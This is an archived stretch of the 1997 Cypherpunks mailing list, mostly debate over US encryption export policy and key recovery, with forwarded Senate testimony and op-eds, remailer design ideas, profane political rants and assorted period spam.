At 06:15 PM 7/12/97 -0700, Tom Weinstein wrote: > >Alan wrote: >> >> On Fri, 11 Jul 1997, Tim May wrote: >> >>> At 5:26 PM -0700 7/11/97, Alan Olsen wrote: >> >>>> McCain said he met with Microsoft representatives recently to >>>> discuss a new technology being developed by the software giant that >>>> could be less intrusive and problematic than key recovery. The >>>> senator also said he plans to meet with Netscape officials next week >>>> to discuss yet another alternative. >>> >>> This is something we should watch _very_ closely! >> >> I agree. The article seemed to imply that both Microsoft and Netscape >> were falling all over each other trying to come up with gak-like >> alternatives to key recovery. I wonder what Tom Weinstien can tell us >> about that... (He has been a bit quiet lately... Too quiet.) > >When I'm quiet, it's probably because I'm busy. It's certainly not >because I was spirited off to Fort Meade by the black helicopters for >brain washing. > >Let's look at this another way. Given the opportunity to discuss your >views with a senator, whouldn't you take it? Even if there's very >little chance of changing his mind? > >We aren't going to suddenly do an about face and start saying that GAK >is good. Even if anyone here believed that, there's no way that we'd be >able to sell it to our overseas customers. > >-- >What is appropriate for the master is not appropriate| Tom Weinstein >for the novice. You must understand Tao before | tomw at netscape.com >transcending structure. -- The Tao of Programming | > > > From rah at shipwright.com Sat Jul 12 19:48:08 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 13 Jul 1997 10:48:08 +0800 Subject: From Hatch's testimony Message-ID: --- begin forwarded text X-Authentication-Warning: fma66.fma.com: majordomo set sender to owner-espam at lists.espace.net using -f X-Orig-From: Robert Hettinga X-e$pam-source: Various X-Sender: rah at atanda.com Mime-Version: 1.0 Date: Sat, 12 Jul 1997 16:50:55 -0400 To: espam at intertrader.com, e$pam From: Robert Hettinga Subject: From Hatch's testimony X-MIME-Autoconverted: from 8bit to quoted-printable by daleth.atanda.com id OAA23282 Sender: owner-espam at lists.espace.net Precedence: bulk Reply-To: e$@thumper.vmeng.com --------------------------------------------------------------------- This mail is brought to you by the e$pam mailing list --------------------------------------------------------------------- From: Robert Hettinga Reply-To: rah at shipwright.com Organization: The Shipwright Development Corporation MIME-Version: 1.0 To: rah at shipwright.com Subject: From Hatch's testimony http://washingtonpost.com:80/wp-srv/WPlate/1997-07/10/015L-071097-idx.htm l Content-Type: text/plain; charset=us-ascii; name="015L-071097-idx.htm l" Content-Disposition: inline; filename="015L-071097-idx.html" X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com i d QAA04134 [Image] ------------------------------------------------------------------------- [Image] [Image] Talk Central Section: discuss hot topics of the day online. All Editorials and Op-Ed columns from this morning's Washington Post. All editorials and commentary from Sunday's Washington Post Outlook section. [Image] ------------------------------------------------ For the Record Thursday, July 10, 1997; Page A18 The Washington Post From testimony by Sen. Orrin Hatch (R-Utah) yesterday before the Senate Judiciary Committee: Although encryption has historically been a technology reserved for national security and military applications, the explosive growth of both electronic communications and stored data has enhanced the need to develop means to protect business, governmental and individual communications and information from improper access and use. A direct deterrent to economic espionage, consumer or commercial theft or fraud, or improper eavesdropping of private information or communications is the encryption of such information. By employing mathematical algorithms [that] convert electronic information into meaningless text, encryption prevents anyone other than a keyholder -- who has the algorithm necessary to unscramble or decrypt this information -- from gaining access to the information. The importance of meaningful legislation in this area cannot be understated. Consider for instance that consumer confidence in a secure network is deemed essential to the development of such things as on-line commerce, which is projected to grow from last year's $500 million to as much as $12 billion by the year 2000. The difficulty in evaluating a meaningful encryption policy is that, while its employment does protect the privacy of legitimate business and personal interests, it can also be used . . . by criminals to hide their communications and operations. . . . Today, Americans . . . enjoy the ability to use, and industry is free to market, commercial encryption of any strength domestically without restriction. The focus of congressional debate is the export and dissemination of U.S. encryption products abroad and the development of key recovery features that allow law enforcement access to encrypted communications under appropriate circumstances. � Copyright 1997 The Washington Post Company Back to the top ------------------------------------------------------------------------- [WashingtonPost.com] [I[Image] [Navigation image map] --------------------------------------------------------------------- Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk --------------------------------------------------------------------- Like e$? Help pay for it! See Or, for e$/e$pam sponsorship, --------------------------------------------------------------------- --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From nim at nim.com Sat Jul 12 21:24:30 1997 From: nim at nim.com (nim at nim.com) Date: Sun, 13 Jul 1997 12:24:30 +0800 Subject: Advertise to 100 MILLION People for FREE!! Message-ID: <199707130417.VAA28942@norway.it.earthlink.net> Would you be interested in sending out an advertisement for your business or web page to 100 MILLION PEOPLE on the Internet for FREE? TO FIND OUT HOW: Respond to this email! (nim at nim.com) You will receive Information on how to do this for FREE! From nim at nim.com Sat Jul 12 21:34:19 1997 From: nim at nim.com (nim at nim.com) Date: Sun, 13 Jul 1997 12:34:19 +0800 Subject: Advertise to 100 MILLION People for FREE!! Message-ID: <199707130417.VAA29055@norway.it.earthlink.net> Cypherpunks, Would you be interested in sending out an advertisement for your business or web page to 100 MILLION PEOPLE on the Internet for FREE? TO FIND OUT HOW: Respond to this email! (nim at nim.com) You will receive Information on how to do this for FREE! From nobody at REPLAY.COM Sat Jul 12 23:45:58 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sun, 13 Jul 1997 14:45:58 +0800 Subject: From Hatch's testimony Message-ID: <199707130629.IAA20912@basement.replay.com> Robert Hettinga wrote: > Thursday, July 10, 1997; Page A18 > The Washington Post > From testimony by Sen. Orrin Hatch (R-Utah) > yesterday before the Senate Judiciary > Committee: > Today, Americans . . . enjoy the ability to > use, and industry is free to market, commercial > encryption of any strength domestically without > restriction. Try to think of laws as outlining what we are no longer free to do. Then go to a courthouse library and look at the mountains of books which contain a list of the freedoms that have been taken away from us. Who the fuck do the people who pass these laws think they are? I wish I had a nickle for every local city councilman who got a hard-on the first time he got to vote on a bylaw that empowered him and his pals and fucked everyone else. Then, once he's convinced himself that this -->| |<-- is 12", he decides that it is his duty to run for Congress and share his "greatness" with the whole country. I try to pay my parking tickets more than 500' from a schoolyard and sell my drugs before the date I'm due to appear in court, but I keep getting in trouble because I just can't keep up with all of the intricate details involved in being a law-abiding citizen. What happened to the "good old days" when all you had to do was stay out of stone-throwing range of the "righteous" in order to live according to your own dictates? Today, the "righteous" feel that they have the right to come in your home whenever they want, demand the wrong to read all of your correspondence, tell you what you can put on your website, limit what thoughts you can express and how you do so. And it never ends. If you want to build a dog-house you have to deal with an army of people who are upholding the "righteousness" of city permits, union rules, ecology regulations, tax laws, and a multitude of similar bullshit. And if you happen to forget to cross a 't' or dot an 'i', then you find you are in violation of a new law which is classified as an "inconsequential felony." Def. 'inconsequential felony' -- A legal term which refers to a harmless action which is nonetheless subject to the severest of punishments because someone in authority got a wild-hair up their ass for some silly reason and deemed it should be so. I met a man in Texas who spent twenty years in prison for the possession of a few stems and seeds. He thought it ironic that the state had imprisoned him for twenty years to try to prevent him from doing something that someone else thought would ruin his life. He told me that at his sentencing, his mother told him, "I told you smoking dope would ruin your life." She got upset when he was "unrepentant" enough to reply, "No. I think the judge did that." The problem is not that the citizens are "sinners" but that Hatch and his ilk are "righteous." When the "righteous" take it on themselves to speak for a "higher power," whether it be "God" or "National Security," then they begin justifying even the most horrendous of actions as "just following orders." Thus, it's not really going to matter whether you are using crypto to encrypt children's pictures or a new version of the Bible. Coming new laws will make you a criminal either way, because the "righteous" feel that it is up to them to decide if the children's pictures are pornographic or if the new version of the Bible is sacreligious. Government has merely usurped religion as the final authority on who is "righteous" and who is a "sinner," on what is "good" and what is "bad." They are priests with nuclear weapons to back them up in enforcement of their "commandments." The end result is that we have to fear getting nuked if we build the fence around our house more than 5' high, so that the ever- vigilant "righteous" don't hurt themselves when peeking over our fence to see if we've built an illegal doghouse. And we have to fear getting nuked if we want to electronically "whisper" when the "righteous" are trying to spy on the "sinners." Same shit, different religion. TruthMonger From geeman at best.com Sat Jul 12 23:55:58 1997 From: geeman at best.com (geeman at best.com) Date: Sun, 13 Jul 1997 14:55:58 +0800 Subject: Solution to McKain's worries Message-ID: <3.0.32.19970712234109.006d0fac@best.com> The alternative solution might go something like this (also known as the Mother of Clipper): 1. Outlaw use of any crypto not authorized and provided by an Official Source, which is to be provided in the form of hardware on the CPU/Motherboard (or equivalent, depending on the computing/communications device) 2. When you wish to send an encrypted communication or store encrypted data, the Official Crypto Device from the Official Source first must obtain a Secrecy Credential from a Central Repository, to which you have applied for some strength crypto. The Credential gives you certain secrecy privileges ... as long as you're being a good citizen. The Credential enables the crypto on your official device: the device will not function without communicating with the Central Repository and obtaining today's Credential. 3. When LEA wants to tap you, it sends a control message to the Central Repository which modifies your Secrecy Credential, dumbing you down to, say, 40bits. They could even provide the entire session key (or other secret as required by protocols.) As long as this state is in effect, your "encrypted" communications and storage are readable by the LEA. Now: consider the profits to be made by the Central Repository, which is responsible for maintaining your Credential. Each Credential use could be charged a transaction fee, as well as the annual licensing. The crypto device provider has a locked-in market for its silicon, as it must go on all the motherboards and into the CPU's. The big-system manufacturers responsible for the servers and communications required to manage the communications between the crypto and repository make out real well too. It sounds like a perfect fit for Microsoft, Intel, together with HP-s ICF!! From a54 at ourlocation.com Sun Jul 13 15:16:51 1997 From: a54 at ourlocation.com (a54 at ourlocation.com) Date: Sun, 13 Jul 1997 15:16:51 -0700 (PDT) Subject: credit card Message-ID: <199707132209.PAA07732@sweden.it.earthlink.net> Cash advance: Yes Approval number: 000-5467001 Credit limit: $3000.00 Approval Expires: 08/01/97 Credit provider: Morningstar Ent. Bank Affiliation: None Card Issued: Morningstar Card Member Status: Pending Annual Fee: None APR: 17.99% Dear Future Cardholder, Congratulations! You have been approved for a $3,000.00 Unsecured credit line from the financial card division of Morningstar Enterprise regardless of your past credit history. Your approval number is 000-5467001 and your approved credit amount of $3000.00 for credit purchases and cash advances will be available once you receive your Morningstar card! There is No security or money deposits Required! For more information on how to receive your Morningstar card Visit our web site at: http://www.ourlocation.com/morning From nobody at REPLAY.COM Sun Jul 13 01:08:39 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sun, 13 Jul 1997 16:08:39 +0800 Subject: The Recent Trend in "Collective Contracts" Message-ID: <199707130754.JAA29596@basement.replay.com> Reputation Monger wrote: > An anonymous message dated: Sat, 12 Jul 1997 08:46:32 +0200 (MET DST), > and signed with the initials KC, wrote: > >In any case... > Damn. Kent's figured out anonymous remailers. I read this message > because it came from anonymous--Kent's in my killfile. > > Know what this means? > Anonymous remailers have more reputation capital than Kent. Excerpt From: Welcome to the Cypherpunks Mailing List (TcM) ------------------------ Your initial post to the list has been digitally classified by the Cypherpunks Automated Response system in order to determine the initial level of reputation capital you will be awarded as a new member of the Cypherpunks Mailing List (TcM). ... At Reputation Capital levels below -1, you may be subjected to shame, humiliation and filtering to the point where the only hope for your posts being read is for you to post to the list anonymously, as a "Monger" of one sort or another. ---------------------------------------------------------------------- *** "Cypherpunks Mailing List" is a (Trade{cocksucker}Mark) of the Electronic Forgery Foundation, and any abuse of this (TcM) will be considered normal behavior on this list. *** Kent has obviously read "The Tao of Remailers," which explains the concept of turning the CypherPunks tools against them as weapons. One has to wonder if Louis Freeh has read the book as well and is sitting at home sending threatening letters to the President via a variety of remailers. I wonder if it is feasible to design a remailer which sends out anonymous email which is rated (Anonymous +7 / Anonymous -4) on the basis of reputation capital? Slightly Anonymous From paul at fatmans.demon.co.uk Sun Jul 13 03:36:41 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Sun, 13 Jul 1997 18:36:41 +0800 Subject: New Add-On Law / Re: Freeh's Testimony (FBI Seeks Domestic GAK) In-Reply-To: <199707111954.VAA02222@basement.replay.com> Message-ID: > Am I totally out of my mind, or has life become tremendously > fucking scary, and nobody but me has noticed? This list is quite simply the only place I know of where single sentences as perceptive and straight to the point as the quote above are made on a regular basis. I am sure many potential revolutionaries have ended up in asylums over the years as a result of the consequences of the above effect, if the "terrorist" retains their sanity they are put in an asylum as a dangerous lunatic, more normally the total stupidity and blindness of those around them drive them to genuine insanity. This same effect can likely be used to explain the high rate of insanity in the late years of many of the pasts great philosophers. > Sometimes I feel like the guy on the plane in the "Twilight Zone" > movie, who is the only one who can see the monster on the plane's > wing that is endangering everyone's life. Small question: I seem to remember this film, is it the small green monster which keeps dancing and fucking with the planes engines? > And if you shoot at the > monster nobody else can see, then they strap you down and take you > to the rubber room. (Obvious analogy to McVeigh and Death Row > purely unintentional.) Of course, and anyone who saw such an analogy without it being pointed out would probably be a dangerous terrorist anyway. > Yes, and one day, even our private thoughts will be considered to > automatically make us guilty criminals unless we allow LEA's access > to them. (The "lie detector" is a case in point, and it has in the > past come dangerously close to being afforded the same status as > the breathalyzer, even though it represents "voodoo" as much as it > does "science.") How much confidence do US courts have in polygraph tests? I believe UK systems qualify the tests as evidence to be considered as ancillary to the other evidence rather than relied on as a major part of a case. Not really relevant though, polygraph tests are hopelessly innacurate, any good poker player or general good liar could beat one, or indeed someone who practiced one of the many forms of meditation in which ones blood pressure, respiration and pulse may be consciously controlled. > TruthMonger BTW, one of the many Mongers of several sorts uses toad.com for all messages, I`m sure it is now just a forwarder but just to point it out, it may still be censored. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Sun Jul 13 03:54:37 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Sun, 13 Jul 1997 18:54:37 +0800 Subject: FWD: SCIENTISTS PROPOSE NEW ENCRYPTION SCHEME In-Reply-To: <19970709.171758.10958.3.edgarswank@juno.com> Message-ID: > SCIENTISTS PROPOSE NEW ENCRYPTION SCHEME > Two scientists at the IBM Almaden Research Center in San Jose, > Calif. have developed a new approach to public key cryptography > based on mathematical constructs called lattices. The system > would be based on a particular set of hidden hyperplanes that > constitute the private key and a method of generating points near > one of those hyperplanes for the public key. This is old(ish) news. This was the Cynthia Dwork paper, but unfortunately the keysizes for the predictably secure version of the cryptosystem are unmanageably large, in the smaller key system there is a probablility of a bit decrypting wrongly (either a 0 as a 1 or the other way round, I can`t remember)... I would recommend getting a copy of the paper to anyone interested, it is really interesting stuff even if it is only theory. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From freetryit at hotmail.com Sun Jul 13 21:49:27 1997 From: freetryit at hotmail.com (freetryit at hotmail.com) Date: Sun, 13 Jul 1997 21:49:27 -0700 (PDT) Subject: adults only Message-ID: <18725478612534@gateway1.24hrplaymates.com> YOU'VE GOTTA SEE THIS TO BELIEVE IT!!! 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From rah at shipwright.com Sun Jul 13 07:56:49 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 13 Jul 1997 22:56:49 +0800 Subject: Ashcroft Encryption Editorial Message-ID: --- begin forwarded text X-Authentication-Warning: fma66.fma.com: majordomo set sender to owner-espam at lists.espace.net using -f X-Orig-From: Bill GL Stafford X-e$pam-source: bounce-dcsb at ai.mit.edu X-Sender: rah at atanda.com Mime-Version: 1.0 Date: Sat, 12 Jul 1997 08:58:20 -0400 To: espam at intertrader.com, e$pam From: Robert Hettinga Subject: Encription: editoral by IBD X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com id JAA03442 Sender: owner-espam at lists.espace.net Precedence: bulk Reply-To: e$@thumper.vmeng.com --------------------------------------------------------------------- This mail is brought to you by the e$pam mailing list --------------------------------------------------------------------- From: Bill GL Stafford Organization: Spring Management Company MIME-Version: 1.0 To: "dcsb at ai.mit.edu" Subject: Encription: editoral by IBD X-Priority: 3 (Normal) Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: Bill GL Stafford I believe these guys are on our side. Bill GL Stafford http://www ..invest ors.com/web_edition/today/viewfrontpage.html Encryption: Keep Feds' Nose Out Of The Net ASHCROFT J. Date: 7/11/97 Edgar Hoover would have loved this. The Clinton administration wants government to be able to read international computer communications - financial transactions, personal e-mail and proprietary information sent abroad - all in the name of national security. In a proposal that raises obvious concerns about Americans' privacy, President Clinton wants to give agencies the keys for decoding all exported U.S. software and Internet communications. Such a policy also would tamper with the competitive advantage that our U.S. software companies currently enjoy in the field of encryption technology. Not only would Big Brother be looming over the shoulders of international cybersurfers, he also threatens to render our state-of-the-art computer software engineers obsolete and unemployed. Granted, the Internet could be used to commit crimes, and advanced encryption could disguise such activity. However, we do not provide the government with phone jacks outside our homes for unlimited wiretaps. Why, then, should we grant government the Orwellian capability to listen at will and in real time to our communications across the Web? The protections of the Fourth Amendment are clear. The right to protection from unlawful searches is an indivisible American value. The president has proposed that American companies and computer users supply the government with decryption keys to high-level encryption programs. Yet European software producers are free to produce computer encryption codes of all levels of security without providing keys to any government authority. Buyers of encryption software value security above all else. They will ultimately choose airtight encryption programs - not those for which the U.S. government maintains keys. In spite of this obvious fact, the president is trying to foist his rigid policy on the exceptionally fluid and fast-paced computer industry. Furthermore, recent developments in decryption technology cast doubt on the wisdom of any government meddling in this industry. Two weeks ago, the 56-bit algorithm government standard encryption code that protects most U.S. electronic financial transactions, from ATM cards to wire transfers, was broken by a low-powered 90-megahertz Pentium processor. In 1977, when this code was first approved by the U.S. government as a standard, it was deemed unbreakable. And for good reason - there are 72 quadrillion different combinations in a 56-bit code. However, with today's technology, these 72 quadrillion different combinations can each be tried -it's only a matter of time and determination. Two days after this encryption code was broken, however, the Senate Commerce Committee voted, in accordance with administration policy, to force American software companies to perpetuate this already compromised 56-bit encryption system. Meanwhile, 128- bit encryption software from European firms is available to every Web user. Interestingly, European firms can import this supersecure encryption technology (originally developed by Americans) to the U.S., but U.S. companies are forbidden by law from exporting these same programs to other countries. So to move forward with the president's policy or the Commerce Committee's bill would be an act of folly, creating a cadre of government peeping Toms and causing severe damage to our vibrant software industries. Government would be caught in a perpetual game of catch-up with whiz-kid code-breakers and industry advances. Majority Leader Trent Lott, R-Miss., has signaled his objection to both proposals. He and I would like to work to bring to the floor a version of the encryption legislation by Sen. Conrad Burns, R-Mont. Burns' bill closely resembles the popular House encryption bill sponsored by Rep. Bob Goodlatte, R- Va. Both measures would not require sharing of keys with the goverment. In essence, these proposals would give U.S. encryption software manufacturers the freedom to compete on equal footing in the worldwide marketplace. They would set up a quasi-governmental board for the industry to decide encryption bit strength based on the current level of international technology. U.S. companies are on the front line of online technologies - the value- added industries of the future. The best policy for encryption technology is one that can rapidly react to breakthroughs in decoding capability and roll back encryption limits as needed. The Burns and Goodlatte proposals would accomplish this. In contrast, the Clinton administration's unnecessary and invasive interest in international e-mail is a wholly unhealthy precedent, especially given this administration's track record on FBI files and Internal Revenue Service snooping. Every medium by which people communicate can be exploited by those with illegal or immoral intentions. Nevertheless, this is no reason to hand Big Brother the keys to unlock our e-mail diaries, open our ATM records or translate our international communications. John Ashcroft is a Republican U.S. senator from Missouri and a member of the Senate Commerce Committee. (C) Copyright 1997 Investors Business Daily, Inc. Metadata: E/IBD E/SN1 E/EDIT http://www ..invest ors.com/web_edition/today/viewfrontpage.html -- ��ࡱ For help on using this list (especially unsubscribing), send a message t o "dcsb-request at ai.mit.edu" with one line of text: "help". --------------------------------------------------------------------- Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk --------------------------------------------------------------------- Like e$? Help pay for it! See Or, for e$/e$pam sponsorship, --------------------------------------------------------------------- --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From dlv at bwalk.dm.com Sun Jul 13 08:31:24 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 13 Jul 1997 23:31:24 +0800 Subject: Int'l High School Exchange In-Reply-To: <65724882_64764806> Message-ID: buyguy222 at erols.com writes: > Have you ever thought about having a high school student from another > country come and stay with your family? I could take on a few h.s. girls, but my wife might get jealous. > Pacific Intercultural Exchange (P.I.E.) has been matching high school > students with American host families for more than 20 years. Does this mean you only provide oriental girls? > American families, families just like yours. Imagine sharing your > traditions with a teenager from another country. Like, what kinds of traditions? I have a tradition to encrypt, like, everything. Would I still be allowed to do that if I had a non-US teenage girl here? Would I have to take steps to prevent her from using my computers? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From flashflood at flashflood.com Mon Jul 14 00:22:23 1997 From: flashflood at flashflood.com (flashflood at flashflood.com) Date: Mon, 14 Jul 1997 00:22:23 -0700 (PDT) Subject: "Support Sumbersible Technologies" Message-ID: <199707141010.GAA27584@plant.mail-response.com> "There Is Something Every American Can Do" Help Develop Our World And Make A Difference "SUPPORT THE FUTURE OF SUBMERSIBLE TECHNOLOGIES" "We Need Your Help To Make This Happen" Straight to the point! We Need donations to continue our development research. We are a group of private sector inventors and we need Money! The Tri-Pyramidal and Bi-Pyramidal building block a 21st Century Breakthrough needs your help! We�re on to something big, I mean huge, and your donation will help to achieve the development of this breakthrough. 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(Global), a California limited partnership, has spent the last ten years leading the development of this alternative to safe sub-sea structures, the Tri-Pyramidal and Bi-pyramidal Structural Hulls. These dynamic hull designs list a multitude of uses, extending from deep within our oceans as small or large submarines, to far out in space as little satellites or as massive space stations. Don�t let this technology be passed over. Remember you can make a difference! Show Your interest, Break The Barrier And Donate Today!! Check out our home page at: http://www.flashflood.com/GlobalOceanicDesignsLtd.html Please Help!!! Send Donations to: Global Oceanic Designs Ltd. 2014 Whitelaw Dr. Spring, Texas 77386 By Giving A Modest Donation You Can Help Develop A Dynamic New Technology. A Technology That Breaks The Barrier For The Development Of Underwater Farms, Manufactured Subs, Pressure Hulls, Research Habitats, and more!!! Breaking The Barrier, At Last, To Underwater Commercial & Recreational Development. /////////////////////////////////////////////////////////////////////////////// If you wish to be removed from this advertiser's future mailings, please reply with "Remove" in the subject line and you will be automatically removed from any future mailings. Thank you. //////////////////////////////////////////////////////////////////////////////// From breynolds at harborcom.net Sun Jul 13 12:10:08 1997 From: breynolds at harborcom.net (Bradley E. Reynolds) Date: Mon, 14 Jul 1997 03:10:08 +0800 Subject: Int'l High School Exchange In-Reply-To: Message-ID: > Like, what kinds of traditions? > > I have a tradition to encrypt, like, everything. Would I still be > allowed to do that if I had a non-US teenage girl here? Would I have > to take steps to prevent her from using my computers? > As long as you don't let her near the 128 bit encryption. She could be a spy {hmm, sounds like black helicopters in the background} Bradley Reynolds breynolds at harborcom.net ber at cwru.edu PGP Fingerprint: 73 17 77 08 8A 72 DB 45 76 28 C5 5A 97 52 26 PGP Public Key: http://www.harborcom.net/~breynolds/pgp.html From mctaylor at mta.ca Sun Jul 13 14:28:55 1997 From: mctaylor at mta.ca (Michael C Taylor) Date: Mon, 14 Jul 1997 05:28:55 +0800 Subject: remailer@rcmp-grc.gc.ca ?? (fwd) In-Reply-To: <199707122352.SAA13268@einstein.ssz.com> Message-ID: On Sat, 12 Jul 1997, Jim Choate wrote: > Forwarded message: > > > Date: Sat, 12 Jul 1997 18:45:56 -0500 > > From: John Deters > > Subject: remailer at rcmp-grc.gc.ca ?? > > > There are many anonymous re-mailers in operation across the Internet. > > That's being just a tad charitable I think. Not really, several is often used to roughly translate in common usage as about seven, so 'many' could be more than several. Just as a few is roughly four. A couple is about two. At least there are too many to get court authorization for all of them, especially those pesky non-North American sites. It would be nice to see more remailer. I do not know if transient remailers themselves are a good idea, but I think transient operators of same-named remailer is good. remailer.com and remailer.net is taken, but remailer.org appears to be available. Maybe we need a network of transient operators for a number of remailers all out of a common domain. remailer at tcmay.remailer.org, remailer at vulis.remailer.org, etc., which the machine names points to different machines IP addresses weekly. It allows sites which want to block anonymous mail via remailers easily (such as certain retentive commerical sites) via domain blocking. This is both a plus and a minus. An Admin trying to stop harrassment of a user could block all anonymous remailed mail with a simple block os all mail from remailer.org. Security conscience sites could prevent outgoing messages from sending to remailer.org. Legit users blocked by this only need non-business access such as via a freenet or AOL trial offer diskette. This would provide an increase in overhead for legal hassle for net.weenies. "No, I do not operate the anonymous remailer at tcmay.remailer.org..." "but I did last week." It does not even increase the complexity at the user's end. Existing software like premail, and Private Idaho wouldn't break. The only stumbling block I foresee is that the PGP private key passphase would have to be shared amongst operators unless there is a better way. This may of been discussed by remailer operators before, I don't know. If there is good solution to the private key passphase sharing then I think the operation is possible without a lot of complex work. Maybe the code from pgp.net dymanic domains could be used. -- Michael C. Taylor From jim at echeque.com Sun Jul 13 14:33:38 1997 From: jim at echeque.com (James Donald) Date: Mon, 14 Jul 1997 05:33:38 +0800 Subject: FCPUNX:Jim Bell 6 Message-ID: <199707132109.OAA18740@proxy3.ba.best.com> At 05:34 PM 7/8/97 +0200, Anonymous wrote: > I mean, get real...Bell is imprisoned without bail with no charges > having been filed against him. One might suppose this is because of his political ideas. In actual fact, in America only those with subversive ideas AND WHO CANNOT AFFORD A LAWYER are imprisoned for long periods without charges or trial. From nobody at www.video-collage.com Sun Jul 13 16:31:57 1997 From: nobody at www.video-collage.com (Unprivileged user) Date: Mon, 14 Jul 1997 07:31:57 +0800 Subject: Liberation Technology In-Reply-To: Message-ID: <97Jul13.192222edt.32259@brickwall.ceddec.com> To coin a new phrase, and a play on words on the heresy known as "liberation theology", I was thinking about what cypherpunks and such is about and it comes down to "Liberation Technology". Encryption and authentication technology lets me do things regardless of what government wants. I can communicate and not with who I want to. But I also thought about some of the original Liberation Technology, starting with the crossbow (which was banned because "even women could use them"). Guns are liberation technology and why restrictions on the ownership or usage parallel crypto and other internet restrictions - When I can exercise a right by using technology, restricting that technology restricts that right. --- reply to tzeruch - at - ceddec - dot - com --- From autosavr at albany.net Mon Jul 14 09:20:52 1997 From: autosavr at albany.net (autosavr at albany.net) Date: Mon, 14 Jul 1997 09:20:52 -0700 (PDT) Subject: Subj: Kiwanis Club Update (7/97) Message-ID: <199707141620.JAA01216@toad.com> E-Mail News Service (E.N.S.) of Clifton Park, NY USA Top Story: Clubs Are Making Big Bucks With The Kiwanis Car Care Fund-Raising Program! --- Kiwanis clubs all over the country are signing up to participate in one of the most profitable fund-raising programs around! The Kiwanis Car Care Fund-Raiser is a fully licensed Kiwanis fund-raiser, and produces unbelievable profits for clubs of all sizes. The Kiwanis Car Care Fund-Raiser is able to reach over 231,000,000 car owners, all of which want to keep their cars looking new. Your club can get started right away by calling 1-800-724-8155, or by looking up http://www.albany.net/~autosavr/kiwanis on the World Wide Web. Related News: Kiwanis Car Care Manufacturer Has Over 9 Successful Years In The Automotive Appearance Business! --- The manufacturer of the Kiwanis Car Care Fund-Raiser is AutoSaver Systems, located in Clifton Park, NY. They have been in business for over 9 years, providing high quality automotive appearance products to car care professionals world wide. "We started our company a while back, and turned it into a success. We're confident that we can provide the same level of high quality products for Kiwanis, and help them become successful at fund-raising. Any Kiwanis club, in any area of the country can raise money for their community with the Kiwanis Car Care Fund-Raising Program..." - Warren Camp, President of AutoSaver Systems AutoSaver Systems provides factory direct convienence and pricing (no middlemen). The Kiwanis Car Care Fund-Raiser is competitively priced with similar store bought products, and literally has "Kiwanis" written all over it! For full details, check out their web site at http://www.albany.net/~autosavr/kiwanis or by calling 1-800-724-8155. If you have received this message in error, and are not affiliated with Kiwanis, send mail to autosavr at albany.net and type "REMOVE" in the subject heading. This will remove you from the E.N.S. news list. E.N.S. of Clifton Park, NY USA July Edition 1997 Kiwanis Members Only From dlv at bwalk.dm.com Sun Jul 13 19:36:14 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 14 Jul 1997 10:36:14 +0800 Subject: Bizarre e-mail in the orphan mailbox In-Reply-To: <199707131953.MAA21869@hotbox.danni.com> Message-ID: This is, like, bizarre. Why do they send this stuff in cleartext, and why does it come to my orphan mailbox? We have no "tcheung" here. ]Received: (from www at localhost) by hotbox.danni.com (8.7.3/8.7.3) id MAA21869 for tcheung at dm.com; Sun, 13 Jul 1997 12:53:37 -0700 (PDT) ]Date: Sun, 13 Jul 1997 12:53:37 -0700 (PDT) ]Message-Id: <199707131953.MAA21869 at hotbox.danni.com> ]To: tcheung at dm.com ]From: Kris ]Subject: Hotbox ]Errors-To: kris at danni.com ] ]Your HotBOX passwords have been activated! ] ]New Members: ]A charge will appear on your credit card statement (if that is how you ]paid) as "V.B.P. call for info (310) 258-0930." The cost of HotBOX is ]$9.95 per month, automatically charged to your credit card. We ]also offer trial memberships of one week at $2.99. ] ]All accounts will automatically renew at the end of the billing period ]at a rate of $9.95 per month in order to assure you uninterrupted service. ] ]You can now access the HotBOX at: http://hotbox.danni.com/hotbox ]If you have any comments or questions, don't hesitate to contact us: ]Hotbox at danni.com. ] ]Make sure you read the FAQ first before contacting us: ]http://hotbox.danni.com/faq.html ] ]*To cancel your account*, and stop all future billing: go to the following ]address and enter your name and your access codes. ]http://hotbox.danni.com/cancel.html ] ] ]Current HotBOX Members: ]If you have recently contacted us about being unable to access the HotBOX ]With your codes, this is a message to notify you that your codes have been ]reactivated. This does not mean that you are being billed again, unless you ]have allowed your membership to lapse and are now restarting it. Please call ]our office if you are unfamiliar with the details of your account. ] ]Danni's Hard Drive can be contacted at: ](310) 258-0930 from 9am to 6pm, every day, Pacific time. ]Our toll free number is (888) 878-7252 ]Hotbox at danni.com for HotBOX problems ]madison at danni.com for merchandise problems ]danni at danni.com for fan mail and suggestions ] ]If you send us any e-mail regarding your account, *please* send us your ]Full name, 